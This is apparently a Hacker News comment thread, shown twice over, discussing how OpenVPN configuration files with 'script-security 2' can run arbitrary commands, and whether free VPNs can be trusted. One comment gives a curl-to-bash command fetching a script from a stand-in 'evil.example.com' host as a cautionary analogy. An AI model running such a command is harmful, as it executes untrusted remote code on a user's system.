5 ms·

Reverse Shell from an OpenVPN Configuration File

112 points by wglb 8y ago

brightball 8y ago
I just finished doing some install automation with Ansible of the ProtonVPN ovpn configs and I’m happy to report that these settings were not in there.
- prophesi 8y ago
  Not very surprising. I'd imagine it not being very common to find ovpn configs that both allow user-defined scripts and not require any authentication. This post should be a warning for any VPN services that -don't- let you look at the configs you're using.
  - jacob019 8y ago
    AFAIK it is not possible to use a configuration file without being able to look at it, am I missing something?
    - jensv 8y ago
      I think some of the free VPN services may hardcode/import a configuration so your settings areessentially baked in. Your only option is to start and stop the VPN, and maybe change the server location.
      - r3dey3 8y ago
        In that case you're already running code from them so what's the difference if the "exploit" is in the script or the app.
CapacitorSet 8y ago
That's a good example of why permissions should be opt-in, not opt-out. I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.
- rjzzleep 8y ago
  Funny you should say that, didn't elasticsearch have a default setting last year which caused thousands of servers to be compromised? Amazon even has an article about securing ES https://aws.amazon.com/blogs/security/how-to-control-access-to-your-amazon-elasticsearch-service-domain/ https://aws.amazon.com/blogs/security/how-to-control-access-... EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attacks-now-number-in-the-thousands/ https://www.zdnet.com/article/elasticsearch-ransomware-attac... > Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."
  - subway 8y ago
    That article is about securing Amazon's ES. It was (is?) a very special ES that only supported authentication based on an AWS API style auth.
  - gnur 8y ago
    The free version of elasticsearch still has no real authn/authz/rbac built in.
  - CloudNetworking 8y ago
    I'd say that was MongoDB.
- Piskvorrr 8y ago
  Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts" By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default. (Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")
wepple 8y ago
The other answer if course is that piping all your internet traffic through a single 3rd party has some obvious consequences: surveillance and traffic injection being the obvious ones. If anyone thinks they use TLS extensively; run a Bro packet analyzer off a cheap switch span port for a month on your upstream router and prepare to be surprised.
- fibers 8y ago
  Is this possible on a ubiquiti switch?
  - adricnet 8y ago
    Probably so, the Security Onion wiki has some recommendations for affordable taps: https://github.com/Security-Onion-Solutions/security-onion/wiki/Hardware https://github.com/Security-Onion-Solutions/security-onion/w...
  - whatthesmack 8y ago
    Yes. For UniFi, in the properties of the switch, go to Ports and click on the edit button for the port that should become the mirror. Then click "+" next to Profile Overrides. Under Operation, select Mirroring. Type the port number that should be mirrored and Save. I did this with a UniFi Switch 8 POE-150W.
- orivej 8y ago
  > piping all your internet traffic through a single 3rd party has some obvious consequences Your internet service provider is one of these parties. With VPN, you have a large choice of whom to trust and an easy option to switch.
  - wepple 8y ago
    whilst I somewhat agree, the original SO question was specifically about free VPN providers. I pay my ISP a significant amount each month, and I expect in return that they’re at least not going to inject extra JavaScript into all my browsing. A free VPN on the other hand? They’ve gotta make money, I’ll be things get shady real fast.
teekert 8y ago
I think in general reverse SSH tunnels can be extremely risky and very handy. I've emailed friends scripts with ssh keys that were: "Click and open a tunnel to my server", I could then help them (i.e. to save images from their raspberry pi camera directly to webdav. Or I could work on friend's raspberry pi proximity sensor in his water tank...) Very handy, very risky.
- Piskvorrr 8y ago
  Risky? If you never revoke the SSH keys and use them for accessing normal accounts, sure.
megous 8y ago
Also since you're creating a tunnel, you should make sure your end is firewalled correctly from the incomming connections from the other side. Especially if you're a dev type and may run local services on all interfaces mindlessly or whatever.
- CloudNetworking 8y ago
  Windows should detect a new network and should ask you about the network's security level (public, private, domain), thus applying different firewall rule-sets. Not sure if other macOS or some Linux distro has anything similar.
davidhyde 8y ago
Excellent article. Sounds like the devs of OpenVPN have not implemented a proper interface and have instead opted to include a catch all command to be as flexible as possible. The longer this is in place the harder it will be to remove - perhaps it's too late. Nuget made the same blunder with their ability to execute scripts on package install. Now disabled by default. VideoLAN (VLC) allowed subtitles to become so complex that there were security problems there too. A text file used for configuration should not be an executable.
- jacob019 8y ago
  Networking is complex and requires flexibility. Executing arbitrary shell commands to set up interfaces is useful. Why should I suffer because people might use a malicious configuration file? If you're in that situation then you're doing it wrong.
- eikenberry 8y ago
  Every VPN client I know of lets you run arbitrary scripts on events like up/down/etc. There are to many possible ways to setup a network connection to cover all the bases as options. I can't imagine a 'proper interface' that would be flexible enough.
rootsudo 8y ago
Oh, okay, so user trust on openvpn file == something malicious hidden inside.
noonespecial 8y ago
The long and short is that OpenVPN has a way to execute arbitrary system commands at whatever privileges the OpenVPN daemon has (usually pretty high) via a config file. Treat OpenVPN config files the same way you'd treat a bash script you pulled from the net and were thinking of running as root. IE: read the damn thing first.

112 points by wglb 8y ago

I just finished doing some install automation with Ansible of the ProtonVPN ovpn configs and I’m happy to report that these settings were not in there.

prophesi 8y ago
Not very surprising. I'd imagine it not being very common to find ovpn configs that both allow user-defined scripts and not require any authentication. This post should be a warning for any VPN services that -don't- let you look at the configs you're using.
- jacob019 8y ago
  AFAIK it is not possible to use a configuration file without being able to look at it, am I missing something?
  - jensv 8y ago
    I think some of the free VPN services may hardcode/import a configuration so your settings areessentially baked in. Your only option is to start and stop the VPN, and maybe change the server location.
    - r3dey3 8y ago
      In that case you're already running code from them so what's the difference if the "exploit" is in the script or the app.

CapacitorSet 8y ago

That's a good example of why permissions should be opt-in, not opt-out. I recently developed an ElasticSearch plugin and I was positively surprised at the security model: plugins have to declare the permissions they intend to use and the user has to explicitly grant them when installing the plugin.

rjzzleep 8y ago
Funny you should say that, didn't elasticsearch have a default setting last year which caused thousands of servers to be compromised? Amazon even has an article about securing ES https://aws.amazon.com/blogs/security/how-to-control-access-to-your-amazon-elasticsearch-service-domain/ https://aws.amazon.com/blogs/security/how-to-control-access-... EDIT: https://www.zdnet.com/article/elasticsearch-ransomware-attacks-now-number-in-the-thousands/ https://www.zdnet.com/article/elasticsearch-ransomware-attac... > Elasticsearch was never meant to be wide-open to internet users. Elastic, the company behind Elasticsearch, explained all this in 2013. This post is filled with such red-letter warnings as "Elasticsearch has no concept of a user." Essentially, anyone that can send arbitrary requests to your cluster is a "super user."
- subway 8y ago
  That article is about securing Amazon's ES. It was (is?) a very special ES that only supported authentication based on an AWS API style auth.
- gnur 8y ago
  The free version of elasticsearch still has no real authn/authz/rbac built in.
- CloudNetworking 8y ago
  I'd say that was MongoDB.
Piskvorrr 8y ago
Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts" By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default. (Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")

wepple 8y ago

The other answer if course is that piping all your internet traffic through a single 3rd party has some obvious consequences: surveillance and traffic injection being the obvious ones. If anyone thinks they use TLS extensively; run a Bro packet analyzer off a cheap switch span port for a month on your upstream router and prepare to be surprised.

fibers 8y ago
Is this possible on a ubiquiti switch?
- adricnet 8y ago
  Probably so, the Security Onion wiki has some recommendations for affordable taps: https://github.com/Security-Onion-Solutions/security-onion/wiki/Hardware https://github.com/Security-Onion-Solutions/security-onion/w...
- whatthesmack 8y ago
  Yes. For UniFi, in the properties of the switch, go to Ports and click on the edit button for the port that should become the mirror. Then click "+" next to Profile Overrides. Under Operation, select Mirroring. Type the port number that should be mirrored and Save. I did this with a UniFi Switch 8 POE-150W.
orivej 8y ago
> piping all your internet traffic through a single 3rd party has some obvious consequences Your internet service provider is one of these parties. With VPN, you have a large choice of whom to trust and an easy option to switch.
- wepple 8y ago
  whilst I somewhat agree, the original SO question was specifically about free VPN providers. I pay my ISP a significant amount each month, and I expect in return that they’re at least not going to inject extra JavaScript into all my browsing. A free VPN on the other hand? They’ve gotta make money, I’ll be things get shady real fast.

teekert 8y ago

I think in general reverse SSH tunnels can be extremely risky and very handy. I've emailed friends scripts with ssh keys that were: "Click and open a tunnel to my server", I could then help them (i.e. to save images from their raspberry pi camera directly to webdav. Or I could work on friend's raspberry pi proximity sensor in his water tank...) Very handy, very risky.

Piskvorrr 8y ago
Risky? If you never revoke the SSH keys and use them for accessing normal accounts, sure.

megous 8y ago

Also since you're creating a tunnel, you should make sure your end is firewalled correctly from the incomming connections from the other side. Especially if you're a dev type and may run local services on all interfaces mindlessly or whatever.

CloudNetworking 8y ago
Windows should detect a new network and should ask you about the network's security level (public, private, domain), thus applying different firewall rule-sets. Not sure if other macOS or some Linux distro has anything similar.

davidhyde 8y ago

Excellent article. Sounds like the devs of OpenVPN have not implemented a proper interface and have instead opted to include a catch all command to be as flexible as possible. The longer this is in place the harder it will be to remove - perhaps it's too late. Nuget made the same blunder with their ability to execute scripts on package install. Now disabled by default. VideoLAN (VLC) allowed subtitles to become so complex that there were security problems there too. A text file used for configuration should not be an executable.

jacob019 8y ago
Networking is complex and requires flexibility. Executing arbitrary shell commands to set up interfaces is useful. Why should I suffer because people might use a malicious configuration file? If you're in that situation then you're doing it wrong.
eikenberry 8y ago
Every VPN client I know of lets you run arbitrary scripts on events like up/down/etc. There are to many possible ways to setup a network connection to cover all the bases as options. I can't imagine a 'proper interface' that would be flexible enough.

rootsudo 8y ago

Oh, okay, so user trust on openvpn file == something malicious hidden inside.

noonespecial 8y ago

The long and short is that OpenVPN has a way to execute arbitrary system commands at whatever privileges the OpenVPN daemon has (usually pretty high) via a config file. Treat OpenVPN config files the same way you'd treat a bash script you pulled from the net and were thinking of running as root. IE: read the damn thing first.